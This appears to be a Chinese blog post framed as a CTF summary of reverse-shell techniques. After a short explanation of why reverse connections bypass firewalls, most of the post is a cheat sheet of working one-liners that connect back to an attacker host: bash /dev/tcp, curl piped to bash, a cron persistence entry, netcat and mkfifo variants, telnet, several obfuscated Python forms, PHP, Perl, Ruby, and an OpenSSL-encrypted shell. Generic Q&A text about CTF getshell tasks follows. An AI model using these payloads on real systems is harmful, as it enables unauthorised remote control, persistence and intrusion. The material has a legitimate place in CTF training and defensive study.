[CTF]反弹shell总结

1 什么是反弹shell

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2 为什么要反弹shell

正向连接

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。

反向连接

那么为什么要用反弹shell呢?

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

3 常见的方式

Bash反弹shell

可以说是最普遍的了,我们着重分析一下。

linux文件描述符与重定向

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"    #更稳定
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

其他shell:sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

以下是针对Bash反弹一句话进各个部分的说明:

命令命令详解
bash -i产生一个bash交互环境。
>&将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令。
/dev/tcp/47.xxx.xxx.72/2333Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

输入0是由/dev/tcp/47.xxx.xxx.72/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/47.xxx.xxx.72/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

然后攻击机在本地监听就可以了

nc -lvvn 2333
Curl配合Bash反弹shell

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

并开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:

curl 47.xxx.xxx.72|bash

curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。

将反弹shell命令写入定时任务

我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本,但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在 /var/spool/cron/[crontabs]/<username> 内的,所以必须要知道远程主机当前的用户名。否则就不能生效。

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)

比如,当前用户名为root,我们就要将下面内容写入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu系列主机)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1

#每隔一分钟,向47.xxx.xxx.72的2333号端口发送shell

nc反弹shell

nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

nc -e /bin/sh 192.168.146.129 2333

但是如果是没有-e 选项,我们可以向下面这样

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听:

netcat -lvvp 2333

目标机主动连接攻击机:

netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

利用Telnet反弹shell

当nc和/dev/tcp不可用,且目标主机和攻击机上支持Telnet服务时,我们可以使用Telnet反弹shell。

攻击机开启本地监听:

nc -lvvp 2333

目标机主动连接攻击机:

mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

各种脚本

Python

一般:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Linux only

IPv4

export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 (No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

IPv4 (No Spaces, Shortened)

python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

IPv4 (No Spaces, Shortened Further)

python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'

IPv6

python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces)

python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

IPv6 (No Spaces, Shortened)

python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Windows only

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
PHP
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
perl
perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

# NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

使用OpenSSL反弹加密shell

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。

SSL协议要求建立在可靠的传输层协议(TCP)之上。SSL协议的优势在于它是与应用层协议独立无关的,高层的应用层协议(例如:HTTP,FTP,TELNET等)能透明地建立于SSL协议之上。SSL协议在应用层协议通信之前就已经完成加密算法、通信密钥的协商及服务器认证工作。在此之后应用层协议所传送的数据都会被加密,从而保证通信的私密性。

在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。

这时在目标机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

参考:

反弹Shell,看这一篇就够了

Bash Reference Manual

Linux 反弹shell(二)反弹shell的本质

收集

  • 6
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: CTF(Capture The Flag)是一种网络安全竞赛,参赛者需要在规定时间内解决一系列安全问题,其中包括获取目标系统的shell权限。获取shell权限是指攻击者通过漏洞攻击等手段,成功进入目标系统的命令行界面,从而可以执行任意命令,控制目标系统。在CTF比赛中,获取shell权限是一项非常重要的任务,也是参赛者展示技能的重要环节。 ### 回答2: CTF(Capture The Flag)是一种信息安全竞赛,旨在通过解决各种安全问题来提高对信息安全的认知。其中,GetshellCTF比赛中一个常见的项目,旨在测试选手的渗透能力。 Getshell的目标是获得被选定的系统的管理员权限,从而获取这个系统的完全控制权。这个项目是模拟真实攻击场景的一个非常好的练习,通过这个项目,选手能够学到很多渗透技术,比如漏洞利用、代码注入、社工攻击等等。 在实际操作中,选手需要首先进行一次侦查,以了解目标系统的架构、应用程序版本、运行环境等信息,并找出可能存在的漏洞。接下来,选手需要尝试使用各种渗透技术攻击系统,直到获得管理员权限。这个过程需要充分利用网络协议和各种工具,同时还需要不断学习新技术和攻击方法,以应对日益复杂和变化多样的安全威胁。 总的来说,GetshellCTF竞赛中一个非常有趣和挑战性项目,除了能够提高选手的渗透能力外,还能够帮助选手了解和掌握信息安全相关的知识和技能。对于想要成为信息安全专家的人来说,这个项目是一个非常好的锻炼机会。 ### 回答3: CTF(Capture The Flag)比赛是一种网络安全竞技赛,通过在虚拟环境中进行模拟攻防比拼,检测系统的安全性和漏洞,提高参赛者的技术水平和安全意识。在CTF比赛中,Getshell是一项基本任务,也是比赛中最常见的做法之一。Getshell任务的目标通常是在特定的服务器上获取root权限或者利用漏洞获取对服务器的控制权,从而将Flag获取。 其实,Getshell行为不仅存在于CTF比赛中,也是黑客攻击的主要手段之一。黑客通过利用系统软件和服务(如web服务器、数据库、操作系统等)的漏洞,成功获取特权或执行Shell脚本,从而窃取敏感信息或攻击目标网站。一个Getshell攻击的成功与否,取决于攻击者的技术水平和被攻击者系统的安全性。 在CTF比赛中,Getshell任务的难度是比较高的,需要掌握多种攻击技能和技术,如漏洞利用、逆向工程、代码审计、信息搜集等。攻击者首先需要了解目标系统的架构和环境信息,然后对可能存在的漏洞进行扫描和测试,锁定可利用的漏洞。接下来,利用漏洞执行代码、上传文件或写入后门脚本,从而getshell。 在进行Getshell攻击时,需要注意防范反制措施。被攻击者可以通过监控和日志分析等方式,发现攻击活动,并对系统进行修复和强化,从而防止攻击。因此,攻击者需要配合执行好攻击计划,减少被发现的风险。 最后,需要提醒大家,Getshell攻击是一种非法行为,严重威胁到网络安全和个人隐私。我们应该共同关注网络安全,保护自己的网络安全和信息安全,共同构建清朗、安全的网络环境。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值